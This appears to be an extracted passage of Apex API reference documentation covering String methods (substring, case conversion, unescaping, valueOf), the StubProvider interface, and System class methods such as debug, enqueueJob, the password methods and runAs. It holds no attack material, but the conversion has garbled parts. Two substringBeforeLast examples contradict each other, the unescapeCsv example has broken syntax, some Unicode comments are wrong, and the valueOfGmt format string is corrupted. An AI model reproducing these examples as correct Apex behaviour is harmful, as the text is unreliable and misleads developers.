⚠️ Warning: The stripHtmlTags function does not recursively strip tags; therefore, tags may still exist in the returned string. Do not use the stripHtmlTags function to sanitize input for inclusion as a raw HTML page. The unescaped output is not considered safe to include in an HTML document. The function will be deprecated in a future release.
Example

```java
String s1 = '<b>hello world</b>';  
String s2 = s1.stripHtmlTags();  
System.assertEquals(  
  'hello world', s2);
```

**substring**(startIndex)

Returns a new String that begins with the character at the specified zero-based `startIndex` and extends to the end of the String.

**Signature**

```java
public String substring(Integer startIndex)
```

**Parameters**

`startIndex`

Type: `Integer`

**Return Value**

Type: `String`

**Example**

```java
String s1 = 'hamburger';  
System.assertEquals('burger', s1.substring(3));
```

**substring**(startIndex, endIndex)

Returns a new String that begins with the character at the specified zero-based `startIndex` and extends to the character at `endIndex` - 1.

**Signature**

```java
public String substring(Integer startIndex, Integer endIndex)
```

**Parameters**

`startIndex`

Type: `Integer`

`endIndex`

Type: `Integer`

**Return Value**

Type: `String`
Example

```java
'hamburger'.substring(4, 8);
// Returns "urge"

'smiles'.substring(1, 5);
// Returns "mile"
```

**substringAfter(separator)**

Returns the substring that occurs after the first occurrence of the specified separator.

**Signature**

```java
public String substringAfter(String separator)
```

**Parameters**

- `separator`  
  Type: `String`

**Return Value**

Type: `String`

**Example**

```java
String s1 = 'Salesforce.Lightning.platform';
String s2 =  
    s1.substringAfter('.');
System.assertEquals(   
    'Lightning.platform', s2);
```

**substringAfterLast(separator)**

Returns the substring that occurs after the last occurrence of the specified separator.

**Signature**

```java
public String substringAfterLast(String separator)
```

**Parameters**

- `separator`  
  Type: `String`

**Return Value**

Type: `String`
Example

```java
String s1 = 'Salesforce.Lightning.platform';
String s2 = s1.substringAfterLast('.');
System.assertEquals('platform', s2);
```

**substringBefore(separator)**

Returns the substring that occurs before the first occurrence of the specified separator.

**Signature**

```java
public String substringBefore(String separator)
```

**Parameters**

- `separator`
  - Type: String

**Return Value**

- Type: String

**Example**

```java
String s1 = 'Salesforce.Lightning.platform';
String s2 = s1.substringBefore('.');
System.assertEquals('Salesforce', s2);
```

**substringBeforeLast(separator)**

Returns the substring that occurs before the last occurrence of the specified separator.

**Signature**

```java
public String substringBeforeLast(String separator)
```

**Parameters**

- `separator`
  - Type: String

**Return Value**

- Type: String

**Example**

```java
String s1 = 'Salesforce.Lightning.platform';
String s2 = s1.substringBeforeLast('.');
System.assertEquals('Salesforce', s2);
```
Example

```java
String s1 = 'Salesforce.Lightning.platform';
String s2 = s1.substringBeforeLast('.');
System.assertEquals('Salesforce.Lightning', s2);
```

`substringBetween(tag)`

Returns the substring that occurs between two instances of the specified `tag` String.

**Signature**

```
public String substringBetween(String tag)
```

**Parameters**

- `tag`
  
  Type: `String`

**Return Value**

Type: `String`

**Example**

```java
String s1 = 'tagYellowtag';
String s2 = s1.substringBetween('tag');
System.assertEquals('Yellow', s2);
```

`substringBetween(open, close)`

Returns the substring that occurs between the two specified Strings.

**Signature**

```
public String substringBetween(String open, String close)
```

**Parameters**

- `open`
  
  Type: `String`

- `close`
  
  Type: `String`

**Return Value**

Type: `String`
```java
Example
String s1 = 'xYellowy';
String s2 =
   s1.substringBetween('x','y');
System.assertEquals('Yellow', s2);
```

**swapCase()**

Swaps the case of all characters and returns the resulting String by using the default (English US) locale.

**Signature**

```java
public String swapCase()
```

**Return Value**

Type: **String**

**Usage**

Upper case and title case converts to lower case, and lower case converts to upper case.

```java
Example
String s1 = 'Force.com';
String s2 = s1.swapCase();
System.assertEquals('fORCE.COM', s2);
```

**toLowerCase()**

Converts all of the characters in the String to lowercase using the rules of the default (English US) locale.

**Signature**

```java
public String toLowerCase()
```

**Return Value**

Type: **String**

```java
Example
String s1 = 'ThIs iS hArD t0 rEaD';
System.assertEquals('this is hard to read',
   s1.toLowerCase());
```

**toLowerCase(locale)**

Converts all of the characters in the String to lowercase using the rules of the specified locale.
public String toLowerCase(String locale)

Parameters
locale
Type: String

Return Value
Type: String

Example

// Example in Turkish
// An uppercase dotted "i", \u0304, which is İ
// Note this contains both a İ as well as a I
String s1 = 'KIYMETLİ';
String s1Lower = s1.toLowerCase('tr');
// Dotless lowercase "i", \u0131, which is ı
// Note this has both a i and ı
String expected = 'kıymetli';
System.assertEquals(expected, s1Lower);
// Note if this was done in toLowerCase('en'), it would output 'kiymetli'

toUpperCase()
Converts all of the characters in the String to uppercase using the rules of the default (English US) locale.

Signature
public String toUpperCase()

Return Value
Type: String

Example

String myString1 = 'abcd';
String myString2 = 'ABCD';
myString1 =
    myString1.toUpperCase();
Boolean result =
    myString1.equals(myString2);
System.assertEquals(result, true);

toUpperCase(locale)
Converts all of the characters in the String to the uppercase using the rules of the specified locale.
public String toUpperCase(String locale)

Parameters
locale
Type: String

Return Value
Type: String

Example

// Example in Turkish
// Dotless lowercase "ı", \u0131, which is ı
// Note this has both a i and ı
String s1 = 'imkansız';
String s1Upper = s1.toUpperCase('tr');
// An uppercase dotted "ı", \u0304, which is İ
// Note this contains both a İ as well as a I
String expected = 'İMKANSIZ';
System.assertEquals(expected, s1Upper);

trim()

Returns a copy of the string that no longer contains any leading or trailing white space characters.

public String trim()

Return Value
Type: String

Usage

Leading and trailing ASCII control characters such as tabs and newline characters are also removed. White space and control characters that aren’t at the beginning or end of the sentence aren’t removed.

Example

String s1 = ' Hello! ';
String trimmed = s1.trim();
System.assertEquals('Hello!', trimmed);

uncapitalize()

Returns the current String with the first letter in lowercase.
Signature

```java
public String uncapitalize()
```

Return Value

Type: `String`

Example

```java
String s1 = 'Hello max';
String s2 = s1.uncapitalize();
System.assertEquals('hello max', s2);
```

**unescapeCsv()**

Returns a String representing an unescaped CSV column.

Signature

```java
public String unescapeCsv()
```

Return Value

Type: `String`

Usage

If the String is enclosed in double quotes and contains a comma, newline or double quote, quotes are removed. Also, any double quote escaped characters (a pair of double quotes) are unescaped to just one double quote.

If the String is not enclosed in double quotes, or is and does not contain a comma, newline or double quote, it is returned unchanged.

Example

```java
String s1 = "Max1, "Max2"";
String s2 = s1.unescapeCsv();
System.assertEquals('Max1, "Max2"', s2);
```

**unescapeEcmaScript()**

Unescapes any EcmaScript literals found in the String.
Signature

```java
public String unescapeEcmaScript()
```

Return Value

Type: `String`

Example

```java
String s1 = '"3.8","3.9"';
String s2 = s1.unescapeEcmaScript();
System.assertEquals('"3.8","3.9"', s2);
```

`unescapeHtml3()`

Unescapes the characters in a String using HTML 3.0 entities.

Signature

```java
public String unescapeHtml3()
```

Return Value

Type: `String`

Example

```java
String s1 = '"<Black&White>"';
String s2 = s1.unescapeHtml3();
System.assertEquals("<Black&White>", s2);
```

`unescapeHtml4()`

Unescapes the characters in a String using HTML 4.0 entities.

Signature

```java
public String unescapeHtml4()
```

Return Value

Type: `String`
Usage

If an entity isn’t recognized, it is kept as is in the returned string.

Example

```java
String s1 = '"&quot;&lt;Black&amp;White&gt;&quot;';
String s2 = s1.unescapeHtml4();
System.assertEquals('""<Black&White>"",
                   s2);
```

**unescapeJava()**

Returns a String whose Java literals are unescaped. Literals unescaped include escape sequences for quotes (\") and control characters, such as tab (\t), and carriage return (\n).

**Signature**

```java
public String unescapeJava()
```

**Return Value**

Type: **String**

The unescaped string.

Example

```java
String s = 'Company: \"Salesforce.com\"';
String unescapedStr = s.unescapeJava();
System.assertEquals('Company: "Salesforce.com"', unescapedStr);
```

**unescapeUnicode()**

Returns a String whose escaped Unicode characters are unescaped.

**Signature**

```java
public String unescapeUnicode()
```

**Return Value**

Type: **String**

The unescaped string.
Example

```java
String s = 'De onde voc\u00E9?';
String unescapedStr = s.unescapeUnicode();
System.assertEquals('De onde você é?', unescapedStr);
```

**unescapeXml()**

Unescapes the characters in a String using XML entities.

**Signature**

```java
public String unescapeXml()
```

**Return Value**

Type: `String`

**Usage**

Supports only the five basic XML entities (gt, lt, quot, amp, apos). Does not support DTDs or external entities.

Example

```java
String s1 = '
 &quot;&lt;Black&amp;White&gt;&quot;';
String s2 = s1.unescapeXml();
System.assertEquals('"<Black&White>"', s2);
```

**valueOf(dateToConvert)**

Returns a String that represents the specified Date in the standard "yyyy-MM-dd" format.

**Signature**

```java
public static String valueOf(Date dateToConvert)
```

**Parameters**

- `dateToConvert`
  Type: `Date`

**Return Value**

Type: `String`
Example
```
Date myDate = Date.Today();
String sDate = String.valueOf(myDate);
```

**valueOf(datTimeToConvert)**

Returns a String that represents the specified Datetime in the standard "yyyy-MM-dd HH:mm:ss" format for the local time zone.

**Signature**
```
public static String valueOf(Datetime datTimeToConvert)
```

**Parameters**
- **datTimeToConvert**
  
  Type: Datetime

**Return Value**

Type: String

**Example**
```
DateTime dt = datetime.newInstance(1996, 6, 23);
String sDateTime = String.valueOf(dt);
System.assertEquals('1996-06-23 00:00:00', sDateTime);
```

**valueOf(decimalToConvert)**

Returns a String that represents the specified Decimal.

**Signature**
```
public static String valueOf(Decimal decimalToConvert)
```

**Parameters**
- **decimalToConvert**
  
  Type: Decimal

**Return Value**

Type: String

**Example**
```
Decimal dec = 3.14159265;
String sDecimal = String.valueOf(dec);
System.assertEquals('3.14159265', sDecimal);
```
valueOf(doubleToConvert)
Returns a String that represents the specified Double.

Signature
public static String valueOf(Double doubleToConvert)

Parameters
doubleToConvert
Type: Double

Return Value
Type: String

Example

```java
Double myDouble = 12.34;
String myString =
    String.valueOf(myDouble);
System.assertEquals('12.34', myString);
```

valueOf(integerToConvert)
Returns a String that represents the specified Integer.

Signature
public static String valueOf(Integer integerToConvert)

Parameters
integerToConvert
Type: Integer

Return Value
Type: String

Example

```java
Integer myInteger = 22;
String sInteger = String.valueOf(myInteger);
System.assertEquals('22', sInteger);
```

valueOf(longToConvert)
Returns a String that represents the specified Long.
Signature

`public static String valueOf(Long longToConvert)`

Parameters

`longToConvert`
Type: `Long`

Return Value
Type: `String`

Example

```java
Long myLong = 123456789;
String sLong = String.valueOf(myLong);
System.assertEquals('123456789', sLong);
```

**valueOf(toConvert)**

Returns a string representation of the specified object argument.

Signature

`public static String valueOf(Object toConvert)`

Parameters

`toConvert`
Type: `Object`

Return Value
Type: `String`

Usage

If the argument is not a String, the `valueOf` method converts it into a String by calling the `toString` method on the argument, if available, or any overridden `toString` method if the argument is a user-defined type. Otherwise, if no `toString` method is available, it returns a String representation of the argument.

Example

```java
List<Integer> ls =
    new List<Integer>();
ls.add(10);
ls.add(20);
String strList =
    String.valueOf(ls);
```
valueOfGmt (datetimeToConvert)

Returns a String that represents the specified Datetime in the standard "yyyyMMdd-MM-dd HH:mm:ss" format for the GMT time zone.

Signature

```
public static String valueOfGmt(Datetime datetimeToConvert)
```

Parameters

- `datetimeToConvert` 
  Type: Datetime

Return Value

Type: String

Example

```
// For a PST timezone:
DateTime dt = datetime.newInstance(2001, 9, 14);
String sDateTime = String.valueOfGmt(dt);
System.assertEquals('2001-09-14 07:00:00', sDateTime);
```

**StubProvider Interface**

The **StubProvider** interface is a callback interface that you can use as part of the Apex stub API to implement a mocking framework. Use this interface with the `Test.createStub()` method to create stubbed Apex objects for testing.

**Namespace**

- `System`

**Usage**

The **StubProvider** interface allows you to define the behavior of a stubbed Apex class. The interface specifies a single method that requires implementing: `handleMethodCall()`. You specify the behavior of each method of the stubbed class in the `handleMethodCall()` method.

In your Apex test, you create a stubbed object using the `Test.createStub()` method. When you invoke methods on the stubbed object, `StubProvider.handleMethodCall()` is called, which performs the behavior that you've specified for each method.
StubProvider Methods

The following are methods for StubProvider.

handleMethodCall(stubbedObject, stubbedMethodName, returnType, listOfParamTypes, listOfParamNames, listOfArgs)

Use this method to define the behavior of each method of a stubbed class.

**Signature**

```
public Object handleMethodCall(Object stubbedObject, String stubbedMethodName, 
System.Type returnType, List<System.Type> listOfParamTypes, List<String> 
listOfParamNames, List<Object> listOfArgs)
```

**Parameters**

- **stubbedObject**
  Type: Object
  The stubbed object.

- **stubbedMethodName**
  Type: String
  The name of the invoked method.

- **returnType**
  Type: System.Type
  The return type of the invoked method.

- **listOfParamTypes**
  Type: List<System.Type>
  A list of the parameter types of the invoked method.

- **listOfParamNames**
  Type: List<String>
  A list of the parameter names of the invoked method.

- **listOfArgs**
  Type: List<Object>
  A list of the method arguments of the invoked method.
listOfArgs
   Type: List<Object>
   The actual argument values passed into this method at runtime.

Return Value
Type: Object

Usage
You can use the parameters passed into this method to identify which method on the stubbed object was invoked. Then you can define the behavior for each identified method.

SEE ALSO:
   Build a Mocking Framework with the Stub API

System Class
Contains methods for system operations, such as writing debug messages and scheduling jobs.

Namespace
System

System Methods
The following are methods for System. All methods are static.

IN THIS SECTION:
   abortJob(jobId)
   Stops the specified job. The stopped job is still visible in the job queue in the Salesforce user interface.
   assert(condition, msg)
   Asserts that the specified condition is true. If it is not, a fatal error is returned that causes code execution to halt.
   assertEquals(expected, actual, msg)
   Asserts that the first two arguments are the same. If they are not, a fatal error is returned that causes code execution to halt.
   assertNotEquals(expected, actual, msg)
   Asserts that the first two arguments are different. If they are the same, a fatal error is returned that causes code execution to halt.
   currentPageReference()
   Returns a reference to the current page. This is used with Visualforce pages.
   currentTimeMillis()
   Returns the current time in milliseconds, which is expressed as the difference between the current time and midnight, January 1, 1970 UTC.
   debug(msg)
   Writes the specified message, in string format, to the execution debug log. The DEBUG log level is used.
debug(logLevel, msg)
Writes the specified message, in string format, to the execution debug log with the specified log level.

enqueueJob(queueableObj)
Adds a job to the Apex job queue that corresponds to the specified queueable class and returns the job ID.

equals(obj1, obj2)
Returns true if both arguments are equal. Otherwise, returns false.

generateApplicationReadWriteMode()
Retrieves the read-write mode set for an organization during Salesforce.com upgrades and downtimes.

getQuiddityShortCode(QuiddityValue)
Retrieves the short code for the Quiddity value of the current Request object.

hashCode(obj)
Returns the hash code of the specified object.

isBatch()
Returns true if a batch Apex job invoked the executing code, or false if not. In API version 35.0 and earlier, also returns true if a queueable Apex job invoked the code.

isFunctionCallback()
Returns true if an asynchronous Salesforce Function callback invoked the executing code, or false if not. Available in API version 51.0 and later.

isFuture()
Returns true if the currently executing code is invoked by code contained in a method annotated with future; false otherwise.

isQueueable()
Returns true if a queueable Apex job invoked the executing code. Returns false if not, including if a batch Apex job or a future method invoked the code.

isRunningElasticCompute()
Reserved for future use.

isScheduled()
Returns true if the currently executing code is invoked by a scheduled Apex job; false otherwise.

movePassword(targetUserId, sourceUserId)
Moves the specified user’s password to a different user.

now()
Returns the current date and time in the GMT time zone.

process(workItemIds, action, comments, nextApprover)
Processes the list of work item IDs.

purgeOldAsyncJobs(dt)
Deletes asynchronous Apex job records for jobs that have finished execution before the specified date with a Completed, Aborted, or Failed status, and returns the number of records deleted.

requestVersion()
Returns a two-part version that contains the major and minor version numbers of a package.

resetPassword(userId, sendUserEmail)
Resets the password for the specified user.
resetPasswordWithEmailTemplate(userId, sendUserEmail, emailTemplateName)
Resets the user’s password and sends an email to the user with their new password. You specify the email template that is sent to the specified user. Use this method for external users of Experience Cloud sites.

runAs(version)
Changes the current package version to the package version specified in the argument.

runAs(userSObject)
Changes the current user to the specified user.

schedule(jobName, cronExpression, schedulableClass)
Use schedule with an Apex class that implements the Schedulable interface to schedule the class to run at the time specified by a Cron expression.

scheduleBatch(batchable, jobName, minutesFromNow)
Schedules a batch job to run once in the future after the specified time interval and with the specified job name.

scheduleBatch(batchable, jobName, minutesFromNow, scopeSize)
Schedules a batch job to run once in the future after the specified the time interval, with the specified job name and scope size. Returns the scheduled job ID (CronTrigger ID).

setPassword(userId, password)
Sets the password for the specified user.

submit(workItemIds, comments, nextApprover)
Submits the processed approvals. The current user is the submitter and the entry criteria is evaluated for all processes applicable to the current user.

today()
Returns the current date in the current user’s time zone.

abortJob (jobId)
Stops the specified job. The stopped job is still visible in the job queue in the Salesforce user interface.

Signature
public static Void abortJob(String jobId)

Parameters
jobId
Type: String
The jobId is the ID associated with either AsyncApexJob or CronTrigger.

Return Value
Type: Void

Usage
The following methods return the job ID that can be passed to abortJob.
• System.schedule method—returns the CronTrigger object ID associated with the scheduled job as a string.
• **SchedulableContext.getTriggerId method**—returns the CronTrigger object ID associated with the scheduled job as a string.

• **getJobId method**—returns the AsyncApexJob object ID associated with the batch job as a string.

• **Database.executeBatch method**—returns the AsyncApexJob object ID associated with the batch job as a string.

### assert(condition, msg)

Asserts that the specified condition is true. If it is not, a fatal error is returned that causes code execution to halt.

**Signature**

```java
public static Void assert(Boolean condition, Object msg)
```

**Parameters**

- `condition`  
  Type: `Boolean`

- `msg`  
  Type: `Object`  
  (Optional) Custom message returned as part of the error message.

**Return Value**

Type: `Void`

**Usage**

You can’t catch an assertion failure using a try/catch block even though it is logged as an exception.

### assertEquals(expected, actual, msg)

Asserts that the first two arguments are the same. If they are not, a fatal error is returned that causes code execution to halt.

**Signature**

```java
public static Void assertEquals(Object expected, Object actual, Object msg)
```

**Parameters**

- `expected`  
  Type: `Object`  
  Specifies the expected value.

- `actual`  
  Type: `Object`  
  Specifies the actual value.

- `msg`  
  Type: `Object`  
  (Optional) Custom message returned as part of the error message.
Return Value
Type: Void

Usage
You can’t catch an assertion failure using a try/catch block even though it is logged as an exception.

`assertNotEquals(expected, actual, msg)`

Asserts that the first two arguments are different. If they are the same, a fatal error is returned that causes code execution to halt.

Signature

```java
public static Void assertNotEquals(Object expected, Object actual, Object msg)
```

Parameters

- `expected`
  - Type: Object
  - Specifies the expected value.

- `actual`
  - Type: Object
  - Specifies the actual value.

- `msg`
  - Type: Object
  - (Optional) Custom message returned as part of the error message.

Return Value
Type: Void

Usage
You can’t catch an assertion failure using a try/catch block even though it is logged as an exception.

`currentPageReference()`

Returns a reference to the current page. This is used with Visualforce pages.

Signature

```java
public static System.PageReference currentPageReference()
```

Return Value
Type: `System.PageReference`
Usage
For more information, see PageReference Class.

currentTimeMillis()
Returns the current time in milliseconds, which is expressed as the difference between the current time and midnight, January 1, 1970 UTC.

Signature
public static Long currentTimeMillis()

Return Value
Type: Long

debug(msg)
Writes the specified message, in string format, to the execution debug log. The DEBUG log level is used.

Signature
public static Void debug(Object msg)

Parameters
msg
    Type: Object

Return Value
Type: Void

Usage
If the msg argument is not a string, the debug method calls String.valueOf to convert it into a string. The String.valueOf method calls the toString method on the argument, if available, or any overridden toString method if the argument is a user-defined type. Otherwise, if no toString method is available, it returns a string representation of the argument.

If the log level for Apex Code is set to DEBUG or higher, the message of this debug statement will be written to the debug log.

Note that when a map or set is printed, the output is sorted in key order and is surrounded with square brackets ([ ]). When an array or list is printed, the output is enclosed in parentheses ( ()).

Note: Calls to System.debug are not counted as part of Apex code coverage. Calls to System.debug are not counted as part of Apex code coverage.

For more information on log levels, see “Debug Log Levels” in the Salesforce online help.

debug(logLevel, msg)
Writes the specified message, in string format, to the execution debug log with the specified log level.
Signature

```java
public static Void debug(LoggingLevel logLevel, Object msg)
```

Parameters

**logLevel**
- Type: `System.LoggingLevel`
- The logging level to set for this method.

**msg**
- Type: `Object`
- The message or object to write in string format to the execution debug log.

Return Value

Type: `Void`

Usage

If the `msg` argument is not a string, the `debug` method calls `String.valueOf` to convert it into a string. The `String.valueOf` method calls the `toString` method on the argument, if available, or any overridden `toString` method if the argument is a user-defined type. Otherwise, if no `toString` method is available, it returns a string representation of the argument.

**Note:** Calls to `System.debug` are not counted as part of Apex code coverage.

System Logging Levels

Use the `loggingLevel` enum to specify the logging level for the `debug` method.

Valid log levels are (listed from lowest to highest):

- `NONE`
- `ERROR`
- `WARN`
- `INFO`
- `DEBUG`
- `FINE`
- `FINER`
- `FINEST`

Log levels are cumulative. For example, if the lowest level, `ERROR`, is specified for Apex Code, only debug methods with the log level of `ERROR` are logged. If the next log level, `WARN`, is specified, the debug log contains debug methods specified as either `ERROR` or `WARN`.

In the following example, the string `MsgTxt` is not written to the debug log because the log level is `ERROR` and the `debug` method has a level of `INFO`:

```java
System.LoggingLevel level = LoggingLevel.ERROR;
System.debug(logginglevel.INFO, 'MsgTxt');
```
For more information on log levels, see “Debug Log Levels” in the Salesforce online help.

enqueueJob(queueableObj)

Adds a job to the Apex job queue that corresponds to the specified queueable class and returns the job ID.

**Signature**

```java
public static ID enqueueJob(Object queueableObj)
```

**Parameters**

- `queueableObj`
  - Type: Object
  - An instance of the class that implements the Queueable Interface.

**Return Value**

- Type: ID
- The job ID, which corresponds to the ID of an AsyncApexJob record.

**Usage**

To add a job for asynchronous execution, call `System.enqueueJob` by passing in an instance of your class implementation of the Queueable interface for execution as follows:

```java
ID jobID = System.enqueueJob(new MyQueueableClass());
```

For more information about Queueable Apex, including information about limits, see Queueable Apex.

equals(obj1, obj2)

Returns `true` if both arguments are equal. Otherwise, returns `false`.

**Signature**

```java
public static Boolean equals(Object obj1, Object obj2)
```

**Parameters**

- `obj1`
  - Type: Object
  - Object being compared.

- `obj2`
  - Type: Object
  - Object to compare with the first argument.

**Return Value**

- Type: Boolean
Usage

$obj1$ and $obj2$ can be of any type. They can be values, or object references, such as sObjects and user-defined types.

The comparison rules for $System.equals$ are identical to the ones for the $==$ operator. For example, string comparison is case insensitive. For information about the comparison rules, see the $==$ operator.

**getApplicationReadWriteMode()**

Returns the read write mode set for an organization during Salesforce.com upgrades and downtimes.

**Signature**

```java
public static System.ApplicationReadWriteMode getApplicationReadWriteMode()
```

**Return Value**

Type: $System.ApplicationReadWriteMode$

Valid values are:

- DEFAULT
- READ_ONLY

**Using the **$System.ApplicationReadWriteMode$** Enum**

Use the $System.ApplicationReadWriteMode$ enum returned by the $getApplicationReadWriteMode$ to programmatically determine if the application is in read-only mode during Salesforce upgrades and downtimes.

Valid values for the enum are:

- DEFAULT
- READ_ONLY

**Example:**

```java
public class myClass {
    public static void execute() {
        ApplicationReadWriteMode mode = System.getApplicationReadWriteMode();

        if (mode == ApplicationReadWriteMode.READ_ONLY) {
            // Do nothing. If DML operation is attempted in readonly mode,
            // InvalidReadOnlyUserDmlException will be thrown.
        } else if (mode == ApplicationReadWriteMode.DEFAULT) {
            Account account = new Account(name = 'my account');
            insert account;
        }
    }
}
```

**getQuiddityShortCode(QuiddityValue)**

Returns the short code for the Quiddity value of the current Request object.
**getQuiddityShortCode(System.Quiddity QuiddityValue)**

**Parameters**

QuiddityValue
  Type: System.Quiddity
  The Quiddity enum value that has an associated short code. This short code is used in Event Monitoring logs. For more information, see Apex Execution Event Type.

**Return Value**

Type: String

**hashCode(obj)**

Returns the hash code of the specified object.

**Signature**

public static Integer hashCode(Object obj)

**Parameters**

obj
  Type: Object
  The object to get the hash code for. This parameter can be of any type, including values or object references, such as sObjects or user-defined types.

**Return Value**

Type: Integer

**Versioned Behavior Changes**

In API version 51.0 and later, the hashCode() method returns the same hash code for identical Id values. In API version 50.0 and earlier, identical Id values didn't always generate the same hash code value.

**isBatch()**

Returns true if a batch Apex job invoked the executing code, or false if not. In API version 35.0 and earlier, also returns true if a queueable Apex job invoked the code.

**Signature**

public static Boolean isBatch()
Usage
A batch Apex job can’t invoke a future method. Before invoking a future method, use isBatch() to check whether the executing code is a batch Apex job.

isFunctionCallback()
Returns true if an asynchronous Salesforce Function callback invoked the executing code, or false if not. Available in API version 51.0 and later.

Signature
public static Boolean isFunctionCallback()

Return Value
Type: Boolean

Usage
Use this method to determine if the Apex code is being invoked as part of a callback from an asynchronous Salesforce Functions invocation. For more details on invoking Salesforce Functions from Apex, see Functions Namespace (Beta)

isFuture()
Returns true if the currently executing code is invoked by code contained in a method annotated with future; false otherwise.

Signature
public static Boolean isFuture()

Return Value
Type: Boolean

Usage
Since a future method can’t be invoked from another future method, use this method to check if the current code is executing within the context of a future method before you invoke a future method.

isQueueable()
Returns true if a queueable Apex job invoked the executing code. Returns false if not, including if a batch Apex job or a future method invoked the code.

Signature
public static Boolean isQueueable()

Return Value
Type: Boolean
Usage

```java
public class SimpleQueueable implements Queueable {

    String name;

    public SimpleQueueable(String name) {
        this.name = name;
        System.assert(!System.isQueueable());  //Should return false
    }

    public void execute(QueueableContext ctx) {
        Account testAccount = new Account();
        testAccount.name = 'testAcc';
        insert(testAccount);
        System.assert(System.isQueueable());  //Should return true
    }
}
```

```java
global class ComplexBatch implements Database.Batchable<SObject> {

    global Database.QueryLocator start(Database.BatchableContext info) {
        System.assert(!System.isQueueable());  //Should return false
        return Database.getQueryLocator([SELECT Id, Name FROM Account LIMIT 1]);
    }

    global void execute(Database.BatchableContext info, SObject[] scope) {
        System.assert(!System.isQueueable());  //Should return false
        System.enqueueJob(new SimpleQueueable('CallingFromComplexBatch'));
        System.assert(!System.isQueueable());  //Should return false
    }

    global void finish(Database.BatchableContext info) {
        System.assert(!System.isQueueable());  //Should return false
    }
}
```

**isRunningElasticCompute()**
Reserved for future use.

**Signature**

```java
public static Boolean isRunningElasticCompute()
```

**Return Value**

Type: Boolean

**isScheduled()**

Returns true if the currently executing code is invoked by a scheduled Apex job; false otherwise.
Signature

```java
public static Boolean isScheduled()
```

Return Value

Type: Boolean

---

**movePassword(targetUserId, sourceUserId)**

Moves the specified user’s password to a different user.

**Signature**

```java
public static Void movePassword(ID targetUserId, ID sourceUserId)
```

**Parameters**

- `targetUserId`  
  Type: ID  
  The user that the password is moved to.
- `sourceUserId`  
  Type: ID  
  The user that the password is moved from.

**Return Value**

Type: Void

**Usage**

Moving a password simplifies converting a user to another type of user, such as when converting an external user to a user with less restrictive access. If you require access to the `movePassword` method, contact Salesforce.

Keep in mind these requirements.

- The `targetUserId`, `sourceUserId`, and user performing the move operation must all belong to the same Salesforce org.
- The `targetUserId` and the `sourceUserId` cannot be the same as the user performing the move operation.
- A user without a password can’t be specified as the `sourceUserId`. For example, a source user who has already had their password moved is left without a password. That user can’t be a source user again.

After the password is moved:

- The target user can log in with the password.
- The source user no longer has a password. To enable logins for this user, a password reset is required.

---

**now()**

Returns the current date and time in the GMT time zone.
public static Datetime now()

Return Value
Type: Datetime

process(workItemIds, action, comments, nextApprover)
Processes the list of work item IDs.

Signature
public static List<Id> process(List<Id> workItemIds, String action, String comments, String nextApprover)

Parameters
workItemIds
Type: List<Id>
action
Type: String
comments
Type: String
nextApprover
Type: String

Return Value
Type: List<Id>

purgeOldAsyncJobs(dt)
Deletes asynchronous Apex job records for jobs that have finished execution before the specified date with a Completed, Aborted, or Failed status, and returns the number of records deleted.

Signature
public static Integer purgeOldAsyncJobs(Date dt)

Parameters
dt
Type: Date

Specifies the date up to which old records are deleted. The date comparison is based on the CompletedDate field of AsyncApexJob, which is in the GMT time zone.
Return Value
Type: Integer

Usage
Asynchronous Apex job records are records in AsyncApexJob.
The system cleans up asynchronous job records for jobs that have finished execution and are older than seven days. You can use this method to further reduce the size of AsyncApexJob by cleaning up more records.
Each execution of this method counts as a single row against the governor limit for DML statements.

Example
This example shows how to delete all job records for jobs that have finished before today’s date.

```java
Integer count = System.purgeOldAsyncJobs(Date.today());
System.debug('Deleted ' + count + ' old jobs.');
```

**requestVersion()**
Returns a two-part version that contains the major and minor version numbers of a package.

Signature
```
public static System.Version requestVersion()
```

Return Value
Type: System.Version

Usage
Using this method, you can determine the version of an installed instance of your package from which the calling code is referencing your package. Based on the version that the calling code has, you can customize the behavior of your package code.
The requestVersion method isn’t supported for unmanaged packages. If you call it from an unmanaged package, an exception will be thrown.

**resetPassword(userId, sendUserEmail)**
Resets the password for the specified user.

Signature
```
public static System.ResetPasswordResult resetPassword(ID userId, Boolean sendUserEmail)
```

Parameters
userId
Type: ID
sendUserEmail
Type: Boolean

Return Value
Type: System.ResetPasswordResult

Usage
When the user logs in with the new password, they are prompted to enter a new password, and to select a security question and answer if they haven’t already. If you specify true for sendUserEmail, the user is sent an email notifying them that their password was reset. A link to sign onto Salesforce using the new password is included in the email. Use setPassword(userId, password) if you don’t want the user to be prompted to enter a new password when they log in.

⚠️ Warning: Be careful with this method, and do not expose this functionality to end-users.

resetPasswordWithEmailTemplate(userId, sendUserEmail, emailTemplateName)
Resets the user's password and sends an email to the user with their new password. You specify the email template that is sent to the specified user. Use this method for external users of Experience Cloud sites.

Signature
public static System.ResetPasswordResult resetPasswordWithEmailTemplate(Id userId, Boolean sendUserEmail, String emailTemplateName)

Parameters
userId
Type: Id
The ID of the user whose password was reset.

sendUserEmail
Type: Boolean

emailTemplateName
Type: String
Name of the email template.

Return Value
Type: System.ResetPasswordResult

Usage
If you specify true for sendUserEmail, specify the email template that is sent to the user notifying them that their password was reset. When the user logs in with the new password in the email, they are prompted to enter a new password. A link to sign onto Salesforce using the new password is included in the email. Use setPassword(userId, password) if you don’t want the user to be prompted to enter a new password when they log in.

⚠️ Warning: Be careful with this method, and do not expose this functionality to end-users.
**runAs (version)**
Changes the current package version to the package version specified in the argument.

**Signature**
```
public static Void runAs(System.Version version)
```

**Parameters**
- **version**
  - Type: `System.Version`

**Return Value**
Type: Void

**Usage**
A package developer can use `Version methods` to continue to support existing behavior in classes and triggers in previous package versions while continuing to evolve the code. Apex classes and triggers are saved with the version settings for each installed managed package that the class or trigger references.

This method is used for testing your component behavior in different package versions that you upload to the AppExchange. This method effectively sets a two-part version consisting of major and minor numbers in a test method so that you can test the behavior for different package versions.

You can only use `runAs` in a test method. There is no limitation to the number of calls to this method in a transaction. For sample usage of this method, see Testing Behavior in Package Versions.

**runAs (userSObject)**
Changes the current user to the specified user.

**Signature**
```
public static Void runAs(User userSObject)
```

**Parameters**
- **userSObject**
  - Type: `User`

**Return Value**
Type: Void

**Usage**
All of the specified user’s record sharing is enforced during the execution of `runAs`. You can only use `runAs` in a test method. For more information, see Using the `runAs` Method on page 651.
The `runAs` method ignores user license limits. You can create new users with `runAs` even if your organization has no additional user licenses.

The `runAs` method implicitly inserts the user that is passed in as parameter if the user has been instantiated, but not inserted yet.

You can also use `runAs` to perform mixed DML operations in your test by enclosing the DML operations within the `runAs` block. In this way, you bypass the mixed DML error that is otherwise returned when inserting or updating setup objects together with other sObjects. See sObjects That Cannot Be Used Together in DML Operations.

